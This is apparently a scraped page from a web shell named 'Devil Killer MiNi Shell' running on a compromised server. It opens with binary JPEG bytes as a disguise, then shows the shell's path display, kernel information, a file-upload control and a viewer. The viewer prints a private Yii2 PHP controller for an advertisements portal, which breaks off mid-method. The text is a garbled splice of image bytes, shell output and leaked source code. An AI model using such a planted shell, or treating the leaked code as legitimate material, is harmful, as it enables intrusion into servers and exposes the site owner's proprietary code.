JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/backend/controllers/

Linux 9dbcd5f6333d 5.15.0-102-generic #112-Ubuntu SMP Tue Mar 5 16:50:32 UTC 2024 x86_64
Upload File :
Current File : /home/vmanager/www/backend/controllers/AdvertisementsController.php

<?php

namespace backend\controllers;

use Yii;
use common\models\Advertisements;
use common\models\AdvertisementsCategories;
use common\models\AdvertisementsPhotos;
use common\models\Users;
use common\models\Portals;
use common\models\AdvertisementsMessages;
use common\models\Companies;
use common\models\types\Status;
use common\models\types\AdvertisementStatus;
use common\models\types\UserChangeType;
use backend\models\UsersSearch;
use backend\models\CompaniesSearch;
use backend\models\AdvertisementsParams;
use backend\models\AdvertisementsHasAdvertisementsParams;
use backend\models\AdvertisementsSearch;
use yii\web\Controller;
use yii\web\NotFoundHttpException;
use yii\web\ForbiddenHttpException;
use yii\data\ActiveDataProvider;
use yii\caching\TagDependency;
use frontend\models\IndexAdvertisements;
use yii\helpers\ArrayHelper;

/**
 * AdvertisementsController implements the CRUD actions for Advertisements model.
 */
class AdvertisementsController extends Controller
{
    use \backend\components\traits\ControllerFunctions;
    
    /**
     * Lists all Advertisements models.
     * @return mixed
     */
    public function actionIndex()
    {
        $queryParams = Yii::$app->request->queryParams;
                
        if(Yii::$app->user->can('indexAdvertisements')) {
            Yii::$app->params['activeMenuItem'] = 'advertisements-all'; 
        } elseif(Yii::$app->user->can('indexOwnAdvertisements')) {
            $idCompany = intval($queryParams['AdvertisementsSearch']['id_company']);
            $idUser = intval($queryParams['AdvertisementsSearch']['id_user']);
            $modelManagedCompany = Yii::$app->session->get('managedCompany');
            if($modelManagedCompany->id_company === $idCompany && $modelManagedCompany->id_user === Yii::$app->user->id) {
                Yii::$app->params['activeMenuItem'] = 'advertisements-companies'; 
            } elseif($idUser === Yii::$app->user->id) {
                Yii::$app->params['activeMenuItem'] = 'advertisements-private'; 
                $queryParams['AdvertisementsSearch']['onlyPrivate'] = 1;
            } else {
                throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
            }            
        } else {
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        }
        
        $portals = ArrayHelper::map(Portals::find()->select(['id_portal', 'domain'])->where(['status' => Status::ACTIVE])->asArray()->all(), 'id_portal', 'domain');
        $categoriesTrees = AdvertisementsCategories::getCategoryTrees(array_keys($portals));
        if(!empty($categoriesTrees)) {
            foreach($categoriesTrees as $idPortal => $categoriesTree) {
                $categoriesTrees[$idPortal] = $categoriesTree[0]['children'];
            }
        }

        $searchModel = new AdvertisementsSearch();
        $dataProvider = $searchModel->search($queryParams);

        return $this->render('index', [
            'searchModel' => $searchModel,
            'dataProvider' => $dataProvider,
            'portals' => $portals,
            'categoriesTrees' => $categoriesTrees
        ]);
    }
    
    /**
     * Lists all Advertisements models for select company.
     * @return mixed
     */
    public function actionIndexForCompany($id)
    {        
        $modelCompany = $this->findModelCompany($id);
        
        if(!Yii::$app->user->can('indexAdvertisements')) {
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        } 
        
        $dataProviderForCompany = new \yii\data\ActiveDataProvider([
            'query' => Advertisements::find()
                ->with(['portal'])
                ->where(['id_company' => $modelCompany->id_company])
                ->orderBy('publication_datetime DESC'),
            'pagination' => false,
            'sort'=> false
        ]);
        
        $dataProviderForUser = new \yii\data\ActiveDataProvider([
            'query' => Advertisements::find()
                ->with(['portal'])
                ->where(['id_user' => $modelCompany->id_user])
                ->andWhere('id_company IS NULL')
                ->orderBy('publication_datetime DESC'),
            'pagination' => false,
            'sort'=> false
        ]);
        
        return $this->render('index_for_company', [
            'modelCompany' => $modelCompany,
            'dataProviderForCompany' => $dataProviderForCompany,
            'dataProviderForUser' => $dataProviderForUser
        ]);
    }
    
    /**
     * Displays a single Advertisements model.
     * @param integer $id
     * @return mixed
     */
    public function actionView($id)
    {
        $model = $this->findModel($id);
        
        if(Yii::$app->user->can('viewAdvertisements')) {
            Yii::$app->params['activeMenuItem'] = 'advertisements-all'; 
        } elseif(Yii::$app->user->can('viewOwnAdvertisements', ['model' => $model])) {
            $modelManagedCompany = Yii::$app->session->get('managedCompany');
            if(!empty($modelManagedCompany) && $modelManagedCompany->id_company === $model->id_company && $modelManagedCompany->id_user === Yii::$app->user->id) {
                Yii::$app->params['activeMenuItem'] = 'advertisements-companies'; 
            } else {
                Yii::$app->params['activeMenuItem'] = 'advertisements-private';
            }
        } else {
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        }
        
        Yii::$app->params['activeMenuItem'] = 'advertisements-private'; 
        
        $modelAdvertisementRejectForm = new \backend\models\AdvertisementRejectForm();
        $modelAdvertisementRejectForm->id_advertisement = $model->id_advertisement;
        
        $canRefresh = $this->checkIfCanRefresh($model);
        
        return $this->render('view', [
            'model' => $model,
            'modelAdvertisementRejectForm' => $modelAdvertisementRejectForm,
            'canRefresh' => $canRefresh
        ]);
    }

    /**
     * Creates a new Advertisements model.
     * If creation is successful, the browser will be redirected to the 'view' page.
     * @param integer $id
     * @return mixed
     */
    public function actionCreate($id)
    {
        $modelCategory = $this->findModelCategory($id);
        
        $model = new Advertisements();
        $model->id_country = 'PL';
        
        if(Yii::$app->user->can('createAdvertisements')) {
            $model->setScenario('create');
            Yii::$app->params['activeMenuItem'] = 'advertisements-all'; 
        } elseif(Yii::$app->user->can('createOwnAdvertisements')) {
            $model->setScenario('createOwn');
            $model->id_user = Yii::$app->user->id;
            $model->status = AdvertisementStatus::TO_ACCEPT;
            $model->expiry_date = (new \DateTime('+1 month'))->format('Y-m-d');
            
            $userAdvertisementsLimits = new \common\models\UserAdvertisementsLimits($model->id_user);
            if(!Yii::$app->request->get('as_private')) {
                $modelManagedCompany = Yii::$app->session->get('managedCompany');
                if(!empty($modelManagedCompany)) {
                    $model->id_company = $modelManagedCompany->id_company;
                    if($userAdvertisementsLimits->checkPossibilityAdding($modelCategory->id_portal, $model->id_company, true) === \common\models\UserAdvertisementsLimits::NO_POSSIBILITY) {
                        Yii::$app->session->addFlash('warning', Yii::t('backend', 'Wykorzystałeś już limit ogłoszeń na tym portalu.'));
                        return $this->redirect(Yii::$app->request->getReferrer() ? Yii::$app->request->getReferrer() : ['index']);
                    }                    
                    $this->fillAdvertisementOwnerData($model, $modelManagedCompany);
                    Yii::$app->params['activeMenuItem'] = 'advertisements-companies'; 
                } else {
                    throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
                }
            } else {                
                if($userAdvertisementsLimits->checkPossibilityAdding($modelCategory->id_portal, $model->id_user) === \common\models\UserAdvertisementsLimits::NO_POSSIBILITY) {
                    Yii::$app->session->addFlash('warning', Yii::t('backend', 'Wykorzystałeś już limit ogłoszeń.'));
                    return $this->redirect(Yii::$app->request->getReferrer() ? Yii::$app->request->getReferrer() : ['index']);
                }
                $this->fillAdvertisementOwnerData($model, Yii::$app->user->getIdentity());
                Yii::$app->params['activeMenuItem'] = 'advertisements-private'; 
            }
            
        } else {
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        }
        
        $paramsDataForCategory = $modelCategory->getRelationsWithParams()->select(['id_param', 'required'])->indexBy('id_param')->orderBy('param_order')->asArray()->all(); 
        $idsParamsForCategory = array_keys($paramsDataForCategory);
        $modelsParams = !empty($idsParamsForCategory) ? AdvertisementsParams::find()->indexBy('id_param')->where(['id_param' => $idsParamsForCategory])->all() : [];

        $modelsAdvertisementsParams = [];
        if(!empty($modelsParams)) {
            foreach($modelsParams as $modelParam) {
                $newModel = new AdvertisementsHasAdvertisementsParams(['scenario' => 'create']);
                $newModel->setModelParam($modelParam);
                $newModel->setRequired($paramsDataForCategory[$modelParam->id_param]['required']);
                $newModel->id_param = $modelParam->id_param;
                $modelsAdvertisementsParams[$modelParam->id_param] = $newModel;
            }
        }

        $model->id_category = $modelCategory->id_category;
        $model->id_portal = $modelCategory->id_portal;
        
        if (Yii::$app->request->isAjax && !Yii::$app->request->isPjax && $model->load(Yii::$app->request->post()) && (empty($modelsAdvertisementsParams) || \yii\base\Model::loadMultiple($modelsAdvertisementsParams, Yii::$app->request->post()))) {
            Yii::$app->response->format = \yii\web\Response::FORMAT_JSON;
            return array_merge(\yii\bootstrap\ActiveForm::validate($model, ['id_category', 'id_user', 'id_company', 'id_region', 'id_country', 'expiry_date']), !empty($modelsAdvertisementsParams) ? \yii\bootstrap\ActiveForm::validateMultiple($modelsAdvertisementsParams, ['value', 'value2', 'items']) : []);
        }
        
        $outputParams = [
            'model' => $model,
            'modelsParams' => $modelsParams,
            'modelsAdvertisementsParams' => $modelsAdvertisementsParams
        ];
        
        if(Yii::$app->request->getIsPost()) {       
            if(!$model->load(Yii::$app->request->post()) || (!empty($modelsAdvertisementsParams) && !\yii\base\Model::loadMultiple($modelsAdvertisementsParams, Yii::$app->request->post()))) {
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Wystąpił błąd podczas przesyłania danych.'));
                return $this->render('create', $outputParams);
            }
            
            $model->id_category = $modelCategory->id_category;
            $model->id_portal = $modelCategory->id_portal;
            
            $transaction = Yii::$app->db->beginTransaction();
            
            $model->loadImageFile();
            
            if(!$model->validate()) {
                $transaction->rollBack();
                $model->file = $model->image_filename = null;
                Yii::$app->session->addFlash('error', $model->getErrors());
                return $this->render('create', $outputParams);
            }
            
            if($model->getScenario() === 'createOwn') {
                $possibilityAdding = !empty($model->id_company) ? $userAdvertisementsLimits->checkPossibilityAdding($model->id_portal, $model->id_company, true) : $userAdvertisementsLimits->checkPossibilityAdding($model->id_portal, $model->id_user);
                $model->or_paid = $possibilityAdding === \common\models\UserAdvertisementsLimits::USING_FREE_SLOT ? 0 : 1;
            }
            
            if(!$model->save(false)) {
                $transaction->rollBack();
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.'));    
                return $this->render('create', $outputParams);
            }
            
            $flag = true;
            
            if($possibilityAdding === \common\models\UserAdvertisementsLimits::USING_PAID_TICKET) {
                if(!empty($model->id_company)) {
                    $modelCompany = \common\models\Companies::findOne($model->id_company);
                    $numberOfTickets = intval($modelCompany->getSettingsKey('advertisements_tickets'));
                    $modelCompany->getSettingsKey('advertisements_tickets', ($numberOfTickets-1));
                    $flag = $modelCompany->saveSettings();
                } else {
                    $modelUser = \common\models\Users::findOne($model->id_user);
                    $numberOfTickets = intval($modelUser->getSettingsKey('advertisements_tickets'));
                    $modelUser->getSettingsKey('advertisements_tickets', ($numberOfTickets-1));
                    $flag = $modelUser->saveSettings();
                }
            }            
            
            if($flag && !empty($modelsAdvertisementsParams)) {                
                foreach($modelsAdvertisementsParams as $key => $modelAdvertisementParam) {
                    if(empty($modelAdvertisementParam->value) && empty($modelAdvertisementParam->value2) && empty($modelAdvertisementParam->items)) {
                        unset($modelsAdvertisementsParams[$key]);
                    }
                }
                
                array_walk($modelsAdvertisementsParams, function($value, $key) use ($model) {
                    $value->id_advertisement = $model->id_advertisement;
                });
                
                if(!\yii\base\Model::validateMultiple($modelsAdvertisementsParams)) {                    
                    $errorsFromModels = [];
                    foreach($modelsAdvertisementsParams as $modelAdvertisementParam) {
                        if($modelAdvertisementParam->hasErrors()) {
                            foreach($modelAdvertisementParam->getErrors() as $error) {
                                $errorsFromModels[] = $error;
                            }
                        }
                    }
                    
                    $transaction->rollBack();
                    Yii::$app->session->addFlash('error', $errorsFromModels);
                    return $this->render('create', $outputParams);
                }

                array_walk($modelsAdvertisementsParams, function($value, $key) use (&$flag) {
                    if(!$flag || !$value->save(false)) {
                        $flag = false;
                    }
                });
            }
            
            if($flag && $model->status === AdvertisementStatus::ACTIVE) {
                list($flag, $lastInsertedModel) = \backend\components\helpers\GoogleIndexingHelper::createEntryForAdvertisement($model, $model->portal);
            }
            
            $flag = $flag && IndexAdvertisements::refreshRecord($model->id_advertisement); 
            if ($flag) {
                $newImagePath = $model->saveImageFile();
                if($newImagePath === false) {
                    $transaction->rollBack();
                    Yii::$app->session->addFlash('error', Yii::t('backend', 'Wystąpił błąd podczas zapisywania pliku na serwerze.'));
                    return $this->render('create', $outputParams);
                } 
                $transaction->commit();
                Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie zapisano dane.')); 
                TagDependency::invalidate(Yii::$app->frontendCache, ['mainpage_box_advertisements_portal_'.$modelCategory->id_portal]);
                $this->createEntryForUserChange(UserChangeType::ADVERTISEMENT_ADDED, $model->id_advertisement, $model->id_company);
                return $this->redirect(['update', 'id' => $model->id_advertisement]);
            } else {
                $transaction->rollBack();
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.'));                
            }
        }
        
        return $this->render('create', $outputParams);
    }

    /**
     * Updates an existing Advertisements model.
     * If update is successful, the browser will be redirected to the 'view' page.
     * @param integer $id
     * @return mixed
     */
    public function actionUpdate($id)
    {
        $model = $this->findModel($id);
        
        if(Yii::$app->user->can('updateAdvertisements')) {
            Yii::$app->params['activeMenuItem'] = 'advertisements-all'; 
        } elseif(Yii::$app->user->can('updateOwnAdvertisements', ['model' => $model])) {
            $modelManagedCompany = Yii::$app->session->get('managedCompany');
            if(!empty($modelManagedCompany) && $modelManagedCompany->id_company === $model->id_company && $modelManagedCompany->id_user === Yii::$app->user->id) {
                Yii::$app->params['activeMenuItem'] = 'advertisements-companies'; 
            } else {
                Yii::$app->params['activeMenuItem'] = 'advertisements-private';
            }
        } else {
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        }
        
        if($model->id_user === Yii::$app->user->id) {
            $model->setScenario('updateOwn');
        } else {
            $model->setScenario('update');
        }
        
        $paramsDataForCategory = $model->category->getRelationsWithParams()->select(['id_param', 'required'])->indexBy('id_param')->orderBy('param_order')->asArray()->all(); 
        $idsParamsForCategory = array_keys($paramsDataForCategory);
        $modelsParams = !empty($idsParamsForCategory) ? AdvertisementsParams::find()->indexBy('id_param')->where(['id_param' => $idsParamsForCategory])->all() : [];

        $modelsAdvertisementsParams = AdvertisementsHasAdvertisementsParams::find()->where(['id_advertisement' => $model->id_advertisement])->indexBy('id_param')->all();
        if(empty($modelsAdvertisementsParams)) {
            $modelsAdvertisementsParams = [];
        }
        if(!empty($modelsParams)) {
            foreach($modelsParams as $modelParam) {
                if(isset($modelsAdvertisementsParams[$modelParam->id_param])) {
                    $modelsAdvertisementsParams[$modelParam->id_param]->setScenario('update');
                    $modelsAdvertisementsParams[$modelParam->id_param]->setModelParam($modelParam);
                    $modelsAdvertisementsParams[$modelParam->id_param]->setRequired($paramsDataForCategory[$modelParam->id_param]['required']);
                } else {
                    $newModel = new AdvertisementsHasAdvertisementsParams(['scenario' => 'create']);
                    $newModel->setModelParam($modelParam);
                    $newModel->setRequired($paramsDataForCategory[$modelParam->id_param]['required']);
                    $newModel->id_param = $modelParam->id_param;
                    $modelsAdvertisementsParams[$modelParam->id_param] = $newModel;
                }
            }
        }

        if (Yii::$app->request->isAjax && !Yii::$app->request->isPjax && $model->load(Yii::$app->request->post()) && (empty($modelsAdvertisementsParams) || \yii\base\Model::loadMultiple($modelsAdvertisementsParams, Yii::$app->request->post()))) {
            Yii::$app->response->format = \yii\web\Response::FORMAT_JSON;
            return array_merge(\yii\bootstrap\ActiveForm::validate($model, ['id_category', 'id_user', 'id_company', 'id_region', 'id_country', 'expiry_date']), !empty($modelsAdvertisementsParams) ? \yii\bootstrap\ActiveForm::validateMultiple($modelsAdvertisementsParams, ['value', 'value2', 'items']) : []);
        }
        
        $outputParams = [
            'model' => $model,
            'modelsParams' => $modelsParams,
            'modelsAdvertisementsParams' => $modelsAdvertisementsParams
        ];
        
        if(Yii::$app->request->getIsPost()) {           
            $oldStatus = $model->status;
            if(!$model->load(Yii::$app->request->post()) || (!empty($modelsAdvertisementsParams) && !\yii\base\Model::loadMultiple($modelsAdvertisementsParams, Yii::$app->request->post()))) {
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Wystąpił błąd podczas przesyłania danych.'));
                return $this->render('update', $outputParams);
            }
            
            $transaction = Yii::$app->db->beginTransaction();
            
            $oldImagePath = $model->loadImageFile();
                      
            if(!$model->validate()) {
                $transaction->rollBack();
                Yii::$app->session->addFlash('error', $model->getErrors());
                return $this->render('update', $outputParams);
            }
            
            if(!$model->save(false)) {
                $transaction->rollBack();
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.'));    
                return $this->render('update', $outputParams);
            }
            
            $flag = true;
            if(!empty($modelsAdvertisementsParams)) {                
                foreach($modelsAdvertisementsParams as $key => $modelAdvertisementParam) {
                    if(empty($modelAdvertisementParam->value) && empty($modelAdvertisementParam->value2) && empty($modelAdvertisementParam->items)) {
                        if($modelAdvertisementParam->getScenario() === 'update' && $modelAdvertisementParam->delete() === false) {
                            $transaction->rollBack();
                            Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.'));    
                            return $this->render('create', $outputParams);
                        } 
                        unset($modelsAdvertisementsParams[$key]);
                    }
                }
                
                array_walk($modelsAdvertisementsParams, function($value, $key) use ($model) {
                    $value->id_advertisement = $model->id_advertisement;
                });
                
                if(!\yii\base\Model::validateMultiple($modelsAdvertisementsParams)) {                    
                    $errorsFromModels = [];
                    foreach($modelsAdvertisementsParams as $modelAdvertisementParam) {
                        if($modelAdvertisementParam->hasErrors()) {
                            foreach($modelAdvertisementParam->getErrors() as $error) {
                                $errorsFromModels[] = $error;
                            }
                        }
                    }
                    
                    $transaction->rollBack();
                    Yii::$app->session->addFlash('error', $errorsFromModels);
                    return $this->render('update', $outputParams);
                }

                array_walk($modelsAdvertisementsParams, function($value, $key) use (&$flag) {
                    if(!$flag || !$value->save(false)) {
                        $flag = false;
                    }
                });
            }
            
            if($flag && $oldStatus !== AdvertisementStatus::ACTIVE && $model->status === AdvertisementStatus::ACTIVE) {
                list($flag, $lastInsertedModel) = \backend\components\helpers\GoogleIndexingHelper::createEntryForAdvertisement($model, $model->portal);
            }
            
            $flag = $flag && IndexAdvertisements::refreshRecord($model->id_advertisement); 
            if ($flag) {
                $newImagePath = $model->saveImageFile();
                if($newImagePath === false) {
                    $transaction->rollBack();
                    Yii::$app->session->addFlash('error', Yii::t('backend', 'Wystąpił błąd podczas zapisywania pliku na serwerze.'));
                    return $this->render('update', $outputParams);
                }  
                if(!empty($oldImagePath)) {
                    Advertisements::deleteImage($oldImagePath);
                }
                $transaction->commit();
                Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie zapisano dane.')); 
                if($oldStatus === AdvertisementStatus::TO_ACCEPT && $model->status === AdvertisementStatus::ACTIVE) {
                    $this->sendMailAboutAcceptance($model);
                }
                TagDependency::invalidate(Yii::$app->frontendCache, ['mainpage_box_advertisements_portal_'.$model->category->id_portal, 'advertisement_'.$model->id_advertisement]);
                $this->createEntryForUserChange(UserChangeType::ADVERTISEMENT_MODIFIED, $model->id_advertisement, $model->id_company);
                return $this->redirect(['update', 'id' => $model->id_advertisement]);
            } else {
                $transaction->rollBack();
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.'));
            }
        }
        
        return $this->render('update', $outputParams);
    }

    /**
     * Deletes an existing Advertisements model.
     * If deletion is successful, the browser will be redirected to the 'index' page.
     * @param integer $id
     * @return mixed
     */
    public function actionDelete($id)
    {
        $model = \common\models\Advertisements::findOne($id);        
        if($model === null) {
            throw new NotFoundHttpException('The requested page does not exist.');
        } 
        
        if(\Yii::$app->user->can('deleteAdvertisements')) {
            $redirectUrlParams = ['index'];
        } elseif(\Yii::$app->user->can('deleteAdvertisements', ['model' => $model])) {
            if(!empty($model->id_company)) {
                $redirectUrlParams = ['index', 'AdvertisementsSearch[id_company]' => $model->id_company];    
            } else {
                $redirectUrlParams = ['index', 'AdvertisementsSearch[id_user]' => $model->id_user];   
            }
        } else {
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        }
        
        $idPortal = $model->category->id_portal;
        
        $transaction = Yii::$app->db->beginTransaction();     
            
        if ($model->delete() !== false) {
            $transaction->commit();
            Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie usunięto dane.')); 
            TagDependency::invalidate(Yii::$app->frontendCache, ['mainpage_box_advertisements_portal_'.$idPortal, 'advertisement_'.$model->id_advertisement]);
        } else {
            $transaction->rollBack();
            Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas usuwania danych.'));
        }

        return $this->redirect($redirectUrlParams);
    }
    
    /**
     * Creates a new AdvertisementsPhotos model.
     * If creation is successful, the browser will be redirected to the 'update' page.
     * @return mixed
     */
    public function actionCreatePhoto()
    {
        if(($modelAdvertisement = \common\models\Advertisements::findOne(intval(Yii::$app->request->get('id_advertisement', null)))) === null) {
            throw new NotFoundHttpException('The requested page does not exist.');
        }
        
        if(Yii::$app->user->can('updateAdvertisements')) {
            Yii::$app->params['activeMenuItem'] = 'advertisements-all'; 
        } elseif(Yii::$app->user->can('updateOwnAdvertisements', ['model' => $modelAdvertisement])) {
            $modelManagedCompany = Yii::$app->session->get('managedCompany');
            if(!empty($modelManagedCompany) && $modelManagedCompany->id_company === $modelAdvertisement->id_company && $modelManagedCompany->id_user === Yii::$app->user->id) {
                Yii::$app->params['activeMenuItem'] = 'advertisements-companies'; 
            } else {
                Yii::$app->params['activeMenuItem'] = 'advertisements-private';
            }
        } else {
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        }
        
        $model = new AdvertisementsPhotos(['scenario' => 'create']);        
        $model->id_advertisement = $modelAdvertisement->id_advertisement;
        
        $outputParams = [
            'model' => $model,
            'modelAdvertisement' => $modelAdvertisement
        ];
        
        if(Yii::$app->request->getIsPost()) {  
            if(!$model->load(Yii::$app->request->post())) {
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Wystąpił błąd podczas przesyłania danych.'));
                return $this->conditionalRender('create_photo', $outputParams);
            }
                                  
            $model->loadImageFile();
            
            if(!$model->validate()) {
                Yii::$app->session->addFlash('error', $model->getErrors());
                return $this->conditionalRender('create_photo', $outputParams);
            }

            $newFilePath = $model->saveImageFile();
            if($newFilePath === false) {
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Wystąpił błąd podczas zapisywania pliku na serwerze.'));
                return $this->conditionalRender('create_photo', $outputParams);
            }
            
            $transaction = Yii::$app->db->beginTransaction();
            
            $flag = true;
            
            $modelsAdvertisementPhotos = AdvertisementsPhotos::find()->where(['>=', 'photo_order', $model->photo_order])->andWhere(['id_advertisement' => $model->id_advertisement])->all();
            if(!empty($modelsAdvertisementPhotos)) {                
                array_walk($modelsAdvertisementPhotos, function($modelAdvertisementPhoto, $key) use (&$flag) {
                    $modelAdvertisementPhoto->photo_order += 1;
                    if(!$flag || !$modelAdvertisementPhoto->save(false)) {
                        $flag = false;
                    }
                });
            }
            
            if ($flag && $model->save(false)) {
                $transaction->commit();
                Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie zapisano dane.')); 
                TagDependency::invalidate(Yii::$app->frontendCache, ['advertisement_'.$model->id_advertisement]);
                if(!Yii::$app->request->isPjax) {
                    return $this->redirect(['update', 'id' => $model->id_advertisement]);
                } 
                else {
                    $model = new AdvertisementsPhotos(['scenario' => 'create']);
                    $model->id_advertisement = $modelAdvertisement->id_advertisement;
                    $outputParams['model'] = $model;
                }
                $this->createEntryForUserChange(UserChangeType::ADVERTISEMENT_MODIFIED, $modelAdvertisement->id_advertisement, $modelAdvertisement->id_company, 'Dodano zdjęcie do galerii.');
            } else {
                $transaction->rollBack();
                @unlink($newFilePath);
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.'));                
            }
        }
        
        return $this->conditionalRender('create_photo', $outputParams);
    }
    
    /**
     * Creates a new AdvertisementsPhotos model.
     * 
     * @return mixed
     */
    public function actionUploadPhoto()
    {
        Yii::$app->response->format = \yii\web\Response::FORMAT_JSON;
        $this->layout = false;
        
        if(($modelAdvertisement = Advertisements::findOne(intval(Yii::$app->request->post('id_advertisement')))) === null) {
            return ['error' => Yii::t('backend', 'Brak danych niezbędnych do wykonania akcji.')];
        } 
        
        if(Yii::$app->user->can('updateAdvertisements')) {
